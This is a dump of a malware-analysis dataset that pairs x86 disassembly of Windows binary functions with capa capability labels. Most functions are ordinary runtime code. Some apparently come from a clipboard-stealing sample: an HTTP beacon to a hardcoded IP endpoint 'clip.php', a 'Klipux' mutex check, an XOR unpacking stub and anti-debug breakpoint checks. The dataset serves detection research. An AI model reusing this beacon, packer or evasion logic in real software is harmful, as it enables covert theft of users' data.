joyce8/EMBER2024-capa huggingface dataset:
Function at 0x499af0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x499b20
push esi
call fcn.004a3860
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x499b19
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x499b9a
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x499b8f
mov eax, dword [esi + 8]
test eax, eax
je 0x499b44
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x499b8b
cmp eax, 2
je 0x499b8f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x499b37
cmp eax, 3
je 0x499b6a
cmp eax, 1
jne 0x499b37
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x499b37
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x499b37
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
jmp 0x499bba
cmp eax, 0xcc
je 0x499bba
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
cmp dword [esi + 0x14], 0xcc
je 0x499bdd
mov edx, dword [esi + 0x180]
push esi
call dword [edx]
add esp, 4
mov dword [esi + 0x78], 0
mov dword [esi + 0x14], 0xcc
mov eax, dword [esi + 0x180]
mov cl, byte [eax + 8]
test cl, cl
je 0x499c08
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x30
mov edx, dword [esi]
call dword [edx]
mov eax, dword [esi + 0x180]
add esp, 4
mov cl, byte [eax + 8]
test cl, cl
jne 0x499bea
mov dl, byte [esi + 0x41]
xor ecx, ecx
test dl, dl
setne cl
add ecx, 0xcd
mov al, 1
mov dword [esi + 0x14], ecx
pop esi
ret

Function at 0x499d80
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x14]
cmp eax, 0xcf
je 0x499daf
cmp eax, 0xcc
je 0x499daf
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x14
mov ecx, dword [esi]
mov edx, dword [esi + 0x14]
mov dword [ecx + 0x18], edx
mov eax, dword [esi]
call dword [eax]
add esp, 4
mov eax, dword [esp + 0xc]
test eax, eax
jg 0x499dbc
mov eax, 1
mov ecx, dword [esi + 0x190]
mov dl, byte [ecx + 0x11]
test dl, dl
je 0x499dd2
mov ecx, dword [esi + 0x7c]
cmp eax, ecx
jle 0x499dd2
mov eax, ecx
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x14]
cmp eax, 0xcc
je 0x499dfc
mov edx, dword [esi + 0x180]
push esi
call dword [edx]
add esp, 4
mov dword [esi + 0x78], 0
mov dword [esi + 0x14], 0xcc
mov eax, dword [esi + 0x180]
mov cl, byte [eax + 8]
test cl, cl
je 0x499e27
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x30
mov edx, dword [esi]
call dword [edx]
mov eax, dword [esi + 0x180]
add esp, 4
mov cl, byte [eax + 8]
test cl, cl
jne 0x499e09
mov dl, byte [esi + 0x41]
xor ecx, ecx
test dl, dl
setne cl
add ecx, 0xcd
mov al, 1
mov dword [esi + 0x14], ecx
pop esi
ret
Function at 0x4a3470
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4a347b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4a357e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4ce444]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4ce444]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4ce444]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4ce444]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4ce444]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4ce444]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4ce444]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4ce444]
xor eax, edx
inc ecx
dec edi
jne 0x4a3496
pop edi
test esi, esi
je 0x4a35a0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4ce444]
xor eax, edx
inc ecx
dec esi
jne 0x4a3582
pop esi
pop ebx
not eax
ret
Function at 0x4becfa
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4bed1a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004c20b3
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4bed3d
test byte [esp + 8], 2
je 0x4bed3d
call fcn.004c2126
mov dword [eax], 0xd
call fcn.004c212f
mov dword [eax], 5
jmp 0x4bed16
xor eax, eax
ret

Function at 0x4c570c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4ea830
cmp edx, dword [eax]
je 0x4c572e
add eax, 8
inc ecx
cmp eax, 0x4ea8c0
jl 0x4c571f
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4ea830]
jne 0x4c585c
mov eax, dword [0x4ec98c]
cmp eax, 1
je 0x4c5836
test eax, eax
jne 0x4c575f
cmp dword [0x4e9f14], 1
je 0x4c5836
cmp edx, 0xfc
je 0x4c585c
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c5796
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c34c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c1860
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c57d9
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c1860
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4dca14
push edi
call fcn.004c8070
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c34c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c34d0
lea eax, [ebp - 0xa0]
push 0x4dc9f4
push eax
call fcn.004c34d0
push dword [esi + 0x4ea834]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c34d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c9007
add esp, 0x2c
pop edi
jmp 0x4c585c
lea eax, [ebp + 8]
lea esi, [esi + 0x4ea834]
push 0
push eax
push dword [esi]
call fcn.004c1860
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x100012c4
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x100012f2
xor eax, eax
jmp 0x10001354
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x9c], ecx
cmp dword [ebp - 0x9c], 1
je 0x10001312
cmp dword [ebp - 0x9c], 2
je 0x10001329
jmp 0x1000134b
cmp dword [ebp - 0x8c], 0xa
jb 0x10001322
mov eax, 1
jmp 0x10001354
mov eax, 3
jmp 0x10001354
cmp dword [ebp - 0x90], 4
jne 0x10001339
mov eax, 4
jmp 0x10001354
cmp dword [ebp - 0x90], 5
jb 0x10001349
mov eax, 2
jmp 0x10001354
jmp 0x10001352
mov eax, 3
jmp 0x10001354
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10001358
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 4
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x20
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100013c0
push 4
lea edx, [ebp + 0xc]
push edx
push 4
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100013b6
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x100013c2
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x100013c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], 4
mov dword [ebp - 0x10], 4
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x20
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001446
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000142c
jmp 0x1000143a
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0
or eax, 0xffffffff
jmp 0x1000144d
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000144b
or eax, 0xffffffff
jmp 0x1000144d
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x10001e73
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
add eax, 0x47c
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x1000318d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 4]
mov dword [edx + 0x478], eax
push str.Start_thread
call fcn.1000de0c
add esp, 4
mov eax, dword [ebp - 4]
cmp dword [eax + 0x478], 0
jne 0x10001ebe
xor eax, eax
jmp 0x10001ec3
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10001ec7
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [0x10022180], 1
push str.IN_IOEventManager::StopPolling__
call fcn.1000de0c
add esp, 4
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x478], 0
je 0x10001f8c
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 4], 0x103
jne 0x10001f6f
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10001f3e
push str._nthe_thread_handle_m_hThread_is_signaled___the_IOMgr_Polling_thread_has_terminated
call fcn.1000de0c
add esp, 4
jmp 0x10001f6d
push str.the_thread_handle_m_hThread_is_not_signaled___Terminating_IOMgr_Polling_thread_forcefully
call fcn.1000de0c
add esp, 4
push 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x478]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x10001f7c
push str.dwExitCode_is_not_equal_to_STILL_ACTIVE
call fcn.1000de0c
add esp, 4
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.OUT_IOEventManager::StopPolling__
call fcn.1000de0c
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x10001f9d
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push str.IN_IOEventManager::SuspendPolling__
call fcn.1000de0c
add esp, 4
mov eax, dword [ebp - 8]
cmp dword [eax + 0x478], 0
je 0x10001ff9
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 4], 0x103
jne 0x10001ff9
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push str.Suspend_thread
call fcn.1000de0c
add esp, 4
push str.OUT_IOEventManager::SuspendPolling__
call fcn.1000de0c
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10003120
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push str.IN_IOEventManager::ResumePolling__
call fcn.1000de0c
add esp, 4
mov eax, dword [ebp - 8]
cmp dword [eax + 0x478], 0
je 0x1000317c
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 4], 0x103
jne 0x1000317c
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push str.Resume_thread
call fcn.1000de0c
add esp, 4
push str.OUT_IOEventManager::ResumePolling__
call fcn.1000de0c
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x10005fd2
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x19c], 0
jmp 0x10006006
mov eax, dword [ebp - 0x19c]
add eax, 1
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x10
jge 0x10006024
mov ecx, dword [ebp - 0x2ac]
add ecx, dword [ebp - 0x19c]
mov byte [ecx + 0x2f84], 0x2e
jmp 0x10005ff7
mov word [ebp - 0x2a4], 2
lea edx, [ebp - 0x190]
push edx
mov ax, word [ebp - 0x2a4]
push eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10006177
push 0xff
lea ecx, [ebp - 0x2a0]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x10006171
lea edx, [ebp - 0x2a0]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x10006171
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [ebp - 0x1a0], eax
push 0x10
push 0
mov ecx, dword [ebp - 0x2ac]
add ecx, 0x2f84
push ecx
call fcn.1000df20
add esp, 0xc
mov edx, dword [ebp - 0x1a0]
push edx
call fcn.1000eaf0
add esp, 4
push eax
mov eax, dword [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x2ac]
add ecx, 0x2f84
push ecx
call fcn.1000e9f0
add esp, 0xc
mov dword [ebp - 0x2a8], 0
jmp 0x100060fe
mov edx, dword [ebp - 0x2a8]
add edx, 1
mov dword [ebp - 0x2a8], edx
cmp dword [ebp - 0x2a8], 0xf
jge 0x10006167
mov eax, dword [ebp - 0x2ac]
add eax, dword [ebp - 0x2a8]
xor ecx, ecx
mov cl, byte [eax + 0x2f84]
cmp ecx, 0x30
jl 0x10006139
mov edx, dword [ebp - 0x2ac]
add edx, dword [ebp - 0x2a8]
xor eax, eax
mov al, byte [edx + 0x2f84]
cmp eax, 0x39
jle 0x10006165
mov ecx, dword [ebp - 0x2ac]
add ecx, dword [ebp - 0x2a8]
xor edx, edx
mov dl, byte [ecx + 0x2f84]
cmp edx, 0x2e
je 0x10006165
mov eax, dword [ebp - 0x2ac]
add eax, dword [ebp - 0x2a8]
mov byte [eax + 0x2f84], 0x2e
jmp 0x100060ef
mov dword [ebp - 0x194], 1
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 0x2ac]
mov byte [ecx + 0x2f93], 0
mov eax, dword [ebp - 0x194]
mov esp, ebp
pop ebp
ret
Function at 0x10006f78
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
mov dword [ebp - 0x2c8], ecx
mov dword [ebp - 0x1bc], 0
mov word [ebp - 0x2c4], 2
lea eax, [ebp - 0x1b8]
push eax
mov cx, word [ebp - 0x2c4]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100070ab
push 0xff
lea edx, [ebp - 0x2c0]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x100070a5
push 0x20
push 0
lea eax, [ebp - 0x28]
push eax
call fcn.1000df20
add esp, 0xc
mov dword [ebp - 0x24], 0x17
lea ecx, [ebp - 0x1c0]
push ecx
lea edx, [ebp - 0x28]
push edx
push 0
lea eax, [ebp - 0x2c0]
push eax
call fcn.10007d00
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10007017
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x100070b1
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 4], ecx
jmp 0x1000702b
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10007099
mov ecx, dword [ebp - 4]
cmp dword [ecx + 4], 0x17
jne 0x10007086
push 0x10
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
add eax, 8
push eax
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ecx + 0x2f84]
shl edx, 4
mov eax, dword [ebp - 0x2c8]
lea ecx, [eax + edx + 0x2f88]
push ecx
call fcn.1000e490
add esp, 0xc
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx + 0x2f84]
add eax, 1
mov ecx, dword [ebp - 0x2c8]
mov dword [ecx + 0x2f84], eax
mov edx, dword [ebp - 0x2c8]
cmp dword [edx + 0x2f84], 0x64
jl 0x10007097
jmp 0x10007099
jmp 0x10007022
mov eax, dword [ebp - 0x1c0]
push eax
call fcn.10008ab0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x1bc]
mov esp, ebp
pop ebp
ret
Function at 0x10007d50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], str.getaddrinfo
mov dword [ebp - 0x18], 0x10007fd0
mov dword [ebp - 0x14], str.getnameinfo
mov dword [ebp - 0x10], 0x10008810
mov dword [ebp - 0xc], str.freeaddrinfo
mov dword [ebp - 8], fcn.10007f60
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
cmp dword [0x1002218c], 0
je 0x10007db5
mov eax, dword [ebp + 8]
and eax, 0xffff
mov eax, dword [eax*8 + 0x1001d4dc]
jmp 0x10007f4f
push 0x104
lea ecx, [ebp - 0x238]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x10007dd0
jmp 0x10007eaa
lea edx, [ebp - 0x238]
push edx
lea eax, [ebp - 0x130]
push eax
call fcn.1000eb70
add esp, 8
push str.ws2_32
lea ecx, [ebp - 0x130]
push ecx
call fcn.1000eb80
add esp, 8
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10007e39
push str.getaddrinfo
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10007e39
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x10007e41
jmp 0x10007eaa
lea edx, [ebp - 0x238]
push edx
lea eax, [ebp - 0x130]
push eax
call fcn.1000eb70
add esp, 8
push str.wship6
lea ecx, [ebp - 0x130]
push ecx
call fcn.1000eb80
add esp, 8
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10007eaa
push str.getaddrinfo
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10007eaa
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x10007f35
mov dword [ebp - 0x20], 0
jmp 0x10007ec6
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 3
jge 0x10007f04
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*8 - 0x1c]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x20]
mov dword [ebp + ecx*8 - 0x18], eax
mov edx, dword [ebp - 0x20]
cmp dword [ebp + edx*8 - 0x18], 0
jne 0x10007f02
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0
jmp 0x10007f04
jmp 0x10007ebd
cmp dword [ebp - 4], 0
je 0x10007f35
mov dword [ebp - 0x20], 0
jmp 0x10007f1c
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 3
jge 0x10007f35
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*8 - 0x18]
mov dword [edx*8 + 0x1001d4dc], ecx
jmp 0x10007f13
mov dword [0x1002218c], 1
mov edx, dword [ebp + 8]
and edx, 0xffff
mov eax, dword [edx*8 + 0x1001d4dc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10008660
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 4]
mov dword [ecx], 0
mov edx, dword [ebp + 0x18]
mov byte [edx], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000872d
mov ecx, dword [ebp - 0xc]
movsx edx, word [ecx + 8]
cmp edx, 2
jne 0x10008708
mov eax, dword [ebp - 0xc]
movsx ecx, word [eax + 0xa]
cmp ecx, 4
jne 0x10008708
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
jmp 0x100086c5
mov ecx, dword [ebp - 8]
add ecx, 4
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx], 0
je 0x10008708
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
mov ax, word [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.10008440
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
cmp dword [edx], 0
jne 0x100086fb
mov eax, 8
jmp 0x10008772
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
add ecx, 0x1c
mov dword [ebp - 4], ecx
jmp 0x100086bc
push 0x400
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call fcn.1000e9f0
add esp, 0xc
mov edx, dword [ebp + 0x18]
mov byte [edx + 0x400], 0
xor eax, eax
jmp 0x10008772
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub eax, 0x2af9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
ja case.default.0x1000874a
mov ecx, dword [ebp - 0x10]
jmp dword [ecx*4 + 0x10008778]
mov eax, 0x2af9
jmp 0x10008772
mov eax, 0x2afa
jmp 0x10008772
mov eax, 0x2afb
jmp 0x10008772
mov eax, 0x2af9
jmp 0x10008772
mov eax, 0x2af9
mov esp, ebp
pop ebp
ret 0x18
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [ebp + 8]
push eax
push str.http:__185.215.113.66_clip.php_s_s
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401078
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x3f0]
push edx
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401450
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.Klipux
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401486
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004010a0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401486

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x64043e37
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x3476342d
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
